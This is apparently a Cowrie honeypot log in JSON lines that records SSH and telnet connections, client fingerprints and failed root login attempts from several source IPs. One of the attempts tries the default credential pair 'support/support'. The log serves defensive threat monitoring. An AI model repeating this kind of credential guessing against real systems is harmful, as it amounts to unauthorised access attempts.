{"eventid":"cowrie.login.failed","username":"root","fingerprint":"79:08:a6:e7:84:79:3f:5b:36:a9:9c:38:32:a8:1d:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8fR3dGBBmf1LWQnXyCkK2sThcY+QMLUvLkuvfeaga/NhWzMf+Hw/qYOQ9rwXt1btWcyLswGRqvWKrGhpmEkH+Lvo6u9rHU2ZtOKbbZczRMvcrQCEu4pq9OqeFBpuIF89G6qcWkBRlLqwdKiA2/mNrTsTLFhbBZDbM9rJOccdsO34fRnBQBFLb+awMWaDVysU2XpcAf5ye341fRoOPdXXYDdI1SsbhWr2BanhMk8DxfpoNgRdvwk/mS8aliUCPP/ZLDjfwHPMoDZRwiOrEMZuJ5IoLkb0AfzY1cpL42FPrFz+yI2WMxTTzC5syQqq6CFzY15RGTjfQGcWUWQ9T18Sb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.201637Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:9a:7e:f1:f7:ef:d4:bd:00:89:89:38:f5:06:f5:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPUlbf3gT49Bu8OBu5EK0pOF4sftzifTNezd3zy8HCmwySGA+i10Y9sAjTAgiZI5HXW3OMtmMvHUFKa45rML0qkuzKsxEkGulM8eCaSX2NQeVsHwVI5OFJi7cy6PRmG1MzMpPwCq7zdwwYRfz79eCOk6C708eMF5UjWYUoVcSdYbSwFIBjHLuxONaVgiWim3FnaXuKBHyV5WW9LRhtN0iBLsgekt+BMUXsp8lJ+Vbe9zxphpZ2fT+r0tF9XpEdcLSMFl4H1OFlnLZdat2viBVQq52nDwF1izG6uDNd1EcUP2lsGd/qFkfGMmo4cgGUJMr8Kl4cdBBRt2RiwpsQL8w9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:9a:7e:f1:f7:ef:d4:bd:00:89:89:38:f5:06:f5:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.281579Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:9a:7e:f1:f7:ef:d4:bd:00:89:89:38:f5:06:f5:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPUlbf3gT49Bu8OBu5EK0pOF4sftzifTNezd3zy8HCmwySGA+i10Y9sAjTAgiZI5HXW3OMtmMvHUFKa45rML0qkuzKsxEkGulM8eCaSX2NQeVsHwVI5OFJi7cy6PRmG1MzMpPwCq7zdwwYRfz79eCOk6C708eMF5UjWYUoVcSdYbSwFIBjHLuxONaVgiWim3FnaXuKBHyV5WW9LRhtN0iBLsgekt+BMUXsp8lJ+Vbe9zxphpZ2fT+r0tF9XpEdcLSMFl4H1OFlnLZdat2viBVQq52nDwF1izG6uDNd1EcUP2lsGd/qFkfGMmo4cgGUJMr8Kl4cdBBRt2RiwpsQL8w9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.285620Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:f0:bc:ca:ae:57:60:a7:ad:82:99:49:fc:cf:ec:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+nLPVV+hWGYASXn+g4OnNflmItdit7iNsQ6FNXoOgmA4LGxhxJ+OiTkueJmXTMePzROWijGZI35vXoiEsjP+82+EPnRwJwt/r69evK4FlBILwZQ10EHqEzsdrpgMIvJTEZ8eFAMRr9a2K58+zhDH0EC2i19bGN9ymz3Lv72eSBYUPxrNbtuqAefuanYXAmwp9UIKH8ZHPhhbsIZp/Dj1uBMrjKNzZfamL2r2xQvz0ZiJU+gdZTCaGoV7/TVY4R9ETiD7UqkoE/VO4pIZqNXGipZdRsdv3JD0nvu0VhseYHq1eVGm+oD9Qontb2+aWqXwkb8tE674cv2HsRImYSwNl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:f0:bc:ca:ae:57:60:a7:ad:82:99:49:fc:cf:ec:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.364224Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:f0:bc:ca:ae:57:60:a7:ad:82:99:49:fc:cf:ec:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+nLPVV+hWGYASXn+g4OnNflmItdit7iNsQ6FNXoOgmA4LGxhxJ+OiTkueJmXTMePzROWijGZI35vXoiEsjP+82+EPnRwJwt/r69evK4FlBILwZQ10EHqEzsdrpgMIvJTEZ8eFAMRr9a2K58+zhDH0EC2i19bGN9ymz3Lv72eSBYUPxrNbtuqAefuanYXAmwp9UIKH8ZHPhhbsIZp/Dj1uBMrjKNzZfamL2r2xQvz0ZiJU+gdZTCaGoV7/TVY4R9ETiD7UqkoE/VO4pIZqNXGipZdRsdv3JD0nvu0VhseYHq1eVGm+oD9Qontb2+aWqXwkb8tE674cv2HsRImYSwNl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.367934Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:35:20.445763Z","src_ip":"45.8.224.214","session":"35445a95c47d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":25856,"dst_ip":"10.17.0.5","dst_port":22,"session":"246a08d7f534","protocol":"ssh","message":"New connection: 31.57.216.33:25856 (10.17.0.5:22) [session: 246a08d7f534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:02.841657Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:02.849934Z","src_ip":"31.57.216.33","session":"246a08d7f534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.33","src_port":25872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f48329ad9c4b","protocol":"ssh","message":"New connection: 31.57.216.33:25872 (10.17.0.5:22) [session: f48329ad9c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:02.985050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:02.990284Z","src_ip":"31.57.216.33","session":"f48329ad9c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:03.094158Z","src_ip":"31.57.216.33","session":"f48329ad9c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:03.313115Z","src_ip":"31.57.216.33","session":"f48329ad9c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:04.422394Z","src_ip":"31.57.216.33","session":"f48329ad9c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":45294,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeaabb4b10da","protocol":"ssh","message":"New connection: 154.117.199.5:45294 (10.17.0.5:22) [session: eeaabb4b10da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:29.301662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:29.534555Z","src_ip":"154.117.199.5","session":"eeaabb4b10da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:29.764387Z","src_ip":"154.117.199.5","session":"eeaabb4b10da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.191.112.164","src_port":42180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b276660af5d3","protocol":"telnet","message":"New connection: 196.191.112.164:42180 (159.203.135.109:23) [session: b276660af5d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:36.236118Z"}
{"eventid":"cowrie.session.closed","duration":13.038017511367798,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:36:49.274000Z","src_ip":"196.191.112.164","session":"b276660af5d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":54721,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e58f72543f2","protocol":"telnet","message":"New connection: 212.55.149.117:54721 (10.17.0.5:23) [session: 1e58f72543f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:38:56.115838Z"}
{"eventid":"cowrie.session.closed","duration":61.26361417770386,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:39:57.379336Z","src_ip":"212.55.149.117","session":"1e58f72543f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.51.20.111","src_port":65112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f904ff3f1df4","protocol":"telnet","message":"New connection: 158.51.20.111:65112 (159.203.135.109:23) [session: f904ff3f1df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:00.360740Z"}
{"eventid":"cowrie.session.closed","duration":13.190254926681519,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:13.550870Z","src_ip":"158.51.20.111","session":"f904ff3f1df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.105.65","src_port":51744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7362c33bee49","protocol":"ssh","message":"New connection: 89.39.105.65:51744 (10.17.0.5:22) [session: 7362c33bee49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:46.440401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:46.456683Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:46.544781Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:c0:69:ae:d6:ae:25:a6:7e:82:6f:39:d6:ba:9a:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvfPJjfI60tOndkMz0DsyFUu22VQ4tvYV1+ZtAQe5LR3QreTZxs9TGDsM5ANzB4xnzMhym2jB/V6iB1AvZBBdINFCukHZ/+zxQ/h7u9MT3oEN499q0UiD5YOK3rK2PXPmci17Szj/VX+/cse4n4ha5pzbvBkGO9G2kfoVXxTwDOObuwAY/27TgsrLH52Dv72V2OdV9I3oIXDAsr/euG7KpUBjcpbwzHFu7WNyIDPKgD81iWUnTR03hwPocmAkY3QGCebv0QZ/AkxTh2sZzZU3UGVs8rQ1qN0pCt4tP2kpoCu564Wpt5lOHNBJSqJTCxeBajf10MRrKR+toO77++btF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:c0:69:ae:d6:ae:25:a6:7e:82:6f:39:d6:ba:9a:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:46.967243Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:c0:69:ae:d6:ae:25:a6:7e:82:6f:39:d6:ba:9a:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvfPJjfI60tOndkMz0DsyFUu22VQ4tvYV1+ZtAQe5LR3QreTZxs9TGDsM5ANzB4xnzMhym2jB/V6iB1AvZBBdINFCukHZ/+zxQ/h7u9MT3oEN499q0UiD5YOK3rK2PXPmci17Szj/VX+/cse4n4ha5pzbvBkGO9G2kfoVXxTwDOObuwAY/27TgsrLH52Dv72V2OdV9I3oIXDAsr/euG7KpUBjcpbwzHFu7WNyIDPKgD81iWUnTR03hwPocmAkY3QGCebv0QZ/AkxTh2sZzZU3UGVs8rQ1qN0pCt4tP2kpoCu564Wpt5lOHNBJSqJTCxeBajf10MRrKR+toO77++btF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:46.971991Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d2:03:47:9b:3b:03:02:17:8d:49:6b:ca:9e:c5:68:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1q7q1aSBQeOLCYLXNtbvv8ikM6s0klap+CVsnwCojAzhLIVM5CHpFlroybmRawZR/UCSWwONqszFrkNIwK+wih6aH1Kgi9AToBYsQYNjQktjZjQKRHTKXL3rqyudwAMpbZRkZw4Tx4gelVxGO9BO9UEqSKygHusPvdo70BuVkh6iu+hlvXJ8rsrwBnWdS/zlGdgR9PC5kd7Fhei0nvpN27eWJqvfPqc88uayOi6PtntVURUPTS8WJh1728j3f877738MOo8nK+zMw0Wbt9B7m3g5/SiGbQ4Lx5mm1QzLMlnZCQhmuYw9E/HNlkiEwjyW/0Rr47F32suP8XCh3DL9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d2:03:47:9b:3b:03:02:17:8d:49:6b:ca:9e:c5:68:9d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.062580Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d2:03:47:9b:3b:03:02:17:8d:49:6b:ca:9e:c5:68:9d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/1q7q1aSBQeOLCYLXNtbvv8ikM6s0klap+CVsnwCojAzhLIVM5CHpFlroybmRawZR/UCSWwONqszFrkNIwK+wih6aH1Kgi9AToBYsQYNjQktjZjQKRHTKXL3rqyudwAMpbZRkZw4Tx4gelVxGO9BO9UEqSKygHusPvdo70BuVkh6iu+hlvXJ8rsrwBnWdS/zlGdgR9PC5kd7Fhei0nvpN27eWJqvfPqc88uayOi6PtntVURUPTS8WJh1728j3f877738MOo8nK+zMw0Wbt9B7m3g5/SiGbQ4Lx5mm1QzLMlnZCQhmuYw9E/HNlkiEwjyW/0Rr47F32suP8XCh3DL9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.066888Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:02:70:1b:60:40:75:00:39:18:da:80:14:03:8f:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTluh0/Ygq+NHVhYkCHiC09lhPSL1YZX5pLDKPFpRM1q8oKmm5vfAkBRxjb351XB07Z2UwtooKDL+ehJIWmjrZDpvKXcLbqNg+V/8DVCWRrvWtg3Fe9cXw6TVeE/PfCKaH4uSKuP9o9nemiRe398qRC892wsvpxOnYHW2urdDG2laatOxP/bdkdzNytejW8ZPu7XARM2ChHRmFAa7/qoeTfZ+Sgvuv7uh9GzWO49Ozmy0LfH7fiBhQcwIufxUlXymPKXM2g9utzSI2RQUWfVn08N2k/B99EMEpp7gEEJs3ywWTTogKrQ5VMdrhq2x1p8REckR8VtHlUKdEMH6MTGo7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:02:70:1b:60:40:75:00:39:18:da:80:14:03:8f:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.156970Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:02:70:1b:60:40:75:00:39:18:da:80:14:03:8f:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTluh0/Ygq+NHVhYkCHiC09lhPSL1YZX5pLDKPFpRM1q8oKmm5vfAkBRxjb351XB07Z2UwtooKDL+ehJIWmjrZDpvKXcLbqNg+V/8DVCWRrvWtg3Fe9cXw6TVeE/PfCKaH4uSKuP9o9nemiRe398qRC892wsvpxOnYHW2urdDG2laatOxP/bdkdzNytejW8ZPu7XARM2ChHRmFAa7/qoeTfZ+Sgvuv7uh9GzWO49Ozmy0LfH7fiBhQcwIufxUlXymPKXM2g9utzSI2RQUWfVn08N2k/B99EMEpp7gEEJs3ywWTTogKrQ5VMdrhq2x1p8REckR8VtHlUKdEMH6MTGo7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.160581Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:2b:d7:61:a0:8f:39:14:82:15:84:08:2e:b3:fe:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJQfXvSLCcJmfKiFMRIPrBPWUQJN4vzcAW8lUb4Lp32IjeGNBxexl3MnbStJp6x8rvShq8r+dOTl6zhnMtuWP1IuZ43M+KPbsMTJFrshtSvEkiyeCtFAskXG/ssqV47VEowzgVK6TfVFH0H588HysX4tGaaVO/eqW+m+8ZOuH0NA6PiQiJxSqr+zIZn7A3nt9FiZHx0kcDV8L0NGRMxeFLGMWJuwxlaUWBtz/W3Ts7xNvdFATpBvJocuHKm5VoK9iONGpJhlr20+PW4euhSczvBaMwIaPYRZXY1+bilsONgrZq4Hr8s29zR1qnQMERy7dZZLJ+Ht58WLfUMYVyvAN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:2b:d7:61:a0:8f:39:14:82:15:84:08:2e:b3:fe:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.258379Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:2b:d7:61:a0:8f:39:14:82:15:84:08:2e:b3:fe:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwJQfXvSLCcJmfKiFMRIPrBPWUQJN4vzcAW8lUb4Lp32IjeGNBxexl3MnbStJp6x8rvShq8r+dOTl6zhnMtuWP1IuZ43M+KPbsMTJFrshtSvEkiyeCtFAskXG/ssqV47VEowzgVK6TfVFH0H588HysX4tGaaVO/eqW+m+8ZOuH0NA6PiQiJxSqr+zIZn7A3nt9FiZHx0kcDV8L0NGRMxeFLGMWJuwxlaUWBtz/W3Ts7xNvdFATpBvJocuHKm5VoK9iONGpJhlr20+PW4euhSczvBaMwIaPYRZXY1+bilsONgrZq4Hr8s29zR1qnQMERy7dZZLJ+Ht58WLfUMYVyvAN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.262256Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:b6:7f:91:08:52:33:e2:f8:bc:50:2b:ea:ba:b8:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlqEyYAUKNMacSvF3AragR3b00sYDm87w3O5bTm6e6QNxF4cVzl0KXRKxoJaqyAW1MjdgzRn1dPv3UBm0w6HQPknRBy6mE8d14Bd3TmB5CiXE1KFLKwvq5D16uqz406/HqqAj0ue7+0WEp/EeBfrYQSiH0B5TFFf3i7KQ8qKYPbLBzq+3sdnlP8bjmS1NJCdzoSoQXwFXF6UphgJ963Xi9a2QkQbV0Ij/2ZMfc2bpt0+pK0XHJLIA2LtkY5kS0gFvvJ8RJxCnB8ljc/370jMgqTwCDHgV04sO8qJGfTF2jqpCYMV3V0z2nBTkXbwHOckXnn1ha7TgYWzrS9q8esKsaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:b6:7f:91:08:52:33:e2:f8:bc:50:2b:ea:ba:b8:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.352626Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:b6:7f:91:08:52:33:e2:f8:bc:50:2b:ea:ba:b8:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlqEyYAUKNMacSvF3AragR3b00sYDm87w3O5bTm6e6QNxF4cVzl0KXRKxoJaqyAW1MjdgzRn1dPv3UBm0w6HQPknRBy6mE8d14Bd3TmB5CiXE1KFLKwvq5D16uqz406/HqqAj0ue7+0WEp/EeBfrYQSiH0B5TFFf3i7KQ8qKYPbLBzq+3sdnlP8bjmS1NJCdzoSoQXwFXF6UphgJ963Xi9a2QkQbV0Ij/2ZMfc2bpt0+pK0XHJLIA2LtkY5kS0gFvvJ8RJxCnB8ljc/370jMgqTwCDHgV04sO8qJGfTF2jqpCYMV3V0z2nBTkXbwHOckXnn1ha7TgYWzrS9q8esKsaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.357125Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:40:47.447474Z","src_ip":"89.39.105.65","session":"7362c33bee49","protocol":"ssh"}
